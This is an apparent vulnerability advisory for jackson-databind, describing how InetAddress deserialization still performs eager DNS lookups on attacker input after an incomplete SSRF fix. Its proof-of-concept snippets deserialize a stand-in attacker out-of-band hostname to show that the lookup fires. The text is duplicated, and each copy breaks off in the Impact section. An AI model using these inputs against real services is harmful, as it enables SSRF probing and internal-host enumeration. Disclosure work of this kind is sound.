CVE-2026-77310

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. Prior to versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1 on their respective release lines, the java.net.InetAddress branch of FromStringDeserializer.Std._deserialize() calls InetAddress.getByName() on attacker-controlled input, causing eager DNS resolution during deserialization and enabling DNS-based server-side request forgery and internal-host enumeration. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. Prior to versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1 on their respective release lines, the java.net.InetAddress branch of FromStringDeserializer.Std._deserialize() calls InetAddress.getByName() on attacker-controlled input, causing eager DNS resolution during deserialization and enabling DNS-based server-side request forgery and internal-host enumeration. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.

Summary

CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of java.net.InetSocketAddress by switching to InetSocketAddress.createUnresolved(...) (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling java.net.InetAddress branch in the very same FromStringDeserializer.Std._deserialize() switch statement, which still calls InetAddress.getByName(value) and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through InetAddress.

Details

File: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java

Sibling cases in the same switch:

• Line 357-358 (UNFIXED): case STD_INET_ADDRESS: return InetAddress.getByName(value); // eager forward DNS lookup
• Line 359-381 + helper at 494-496 (FIXED by PR #5951): protected InetSocketAddress _inetSocketAddress(String host, int port) { // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup: return InetSocketAddress.createUnresolved(host, port); // no DNS }

InetAddress is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an InetAddress-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches InetAddress.getByName(attackerControlledString), which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.

The parent fix's own added unit test asserts address.isUnresolved() with the comment "should NOT resolve address", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.

Verified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through _inetSocketAddress -> createUnresolved, while InetAddress.getByName is still emitted unchanged in the InetAddress branch.

PoC

Lab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.

A custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:

ObjectMapper m = new ObjectMapper();
// InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true
m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class);
// InetAddress (unpatched sibling): 1 resolver lookup on the attacker host
m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class);

Observed output (jackson 2.18.8): [A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null [B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example

A standalone variant (no SPI) using an RFC-6761 .invalid canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.

Reachability with a plain field (no annotations, no polymorphism, no default typing): static class Config { public InetAddress bindHost; public int port; } mapper.readValue("{"bindHost":"poc-reach.example","port":1}", Config.class); // -> resolver invoked on "poc-reach.example"

Impact

An attacker who can influence JSON deserialized into an InetAddress target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF /…

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. Prior to versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1 on their respective release lines, the java.net.InetAddress branch of FromStringDeserializer.Std._deserialize() calls InetAddress.getByName() on attacker-controlled input, causing eager DNS resolution during deserialization and enabling DNS-based server-side request forgery and internal-host enumeration. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. Prior to versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1 on their respective release lines, the java.net.InetAddress branch of FromStringDeserializer.Std._deserialize() calls InetAddress.getByName() on attacker-controlled input, causing eager DNS resolution during deserialization and enabling DNS-based server-side request forgery and internal-host enumeration. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.

Summary

CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of java.net.InetSocketAddress by switching to InetSocketAddress.createUnresolved(...) (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling java.net.InetAddress branch in the very same FromStringDeserializer.Std._deserialize() switch statement, which still calls InetAddress.getByName(value) and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through InetAddress.

Details

File: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java

Sibling cases in the same switch:

• Line 357-358 (UNFIXED): case STD_INET_ADDRESS: return InetAddress.getByName(value); // eager forward DNS lookup
• Line 359-381 + helper at 494-496 (FIXED by PR #5951): protected InetSocketAddress _inetSocketAddress(String host, int port) { // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup: return InetSocketAddress.createUnresolved(host, port); // no DNS }

InetAddress is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an InetAddress-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches InetAddress.getByName(attackerControlledString), which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.

The parent fix's own added unit test asserts address.isUnresolved() with the comment "should NOT resolve address", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.

Verified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through _inetSocketAddress -> createUnresolved, while InetAddress.getByName is still emitted unchanged in the InetAddress branch.

PoC

Lab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.

A custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:

ObjectMapper m = new ObjectMapper();
// InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true
m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class);
// InetAddress (unpatched sibling): 1 resolver lookup on the attacker host
m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class);

Observed output (jackson 2.18.8): [A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null [B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example

A standalone variant (no SPI) using an RFC-6761 .invalid canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.

Reachability with a plain field (no annotations, no polymorphism, no default typing): static class Config { public InetAddress bindHost; public int port; } mapper.readValue("{"bindHost":"poc-reach.example","port":1}", Config.class); // -> resolver invoked on "poc-reach.example"

Impact

An attacker who can influence JSON deserialized into an InetAddress target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF /…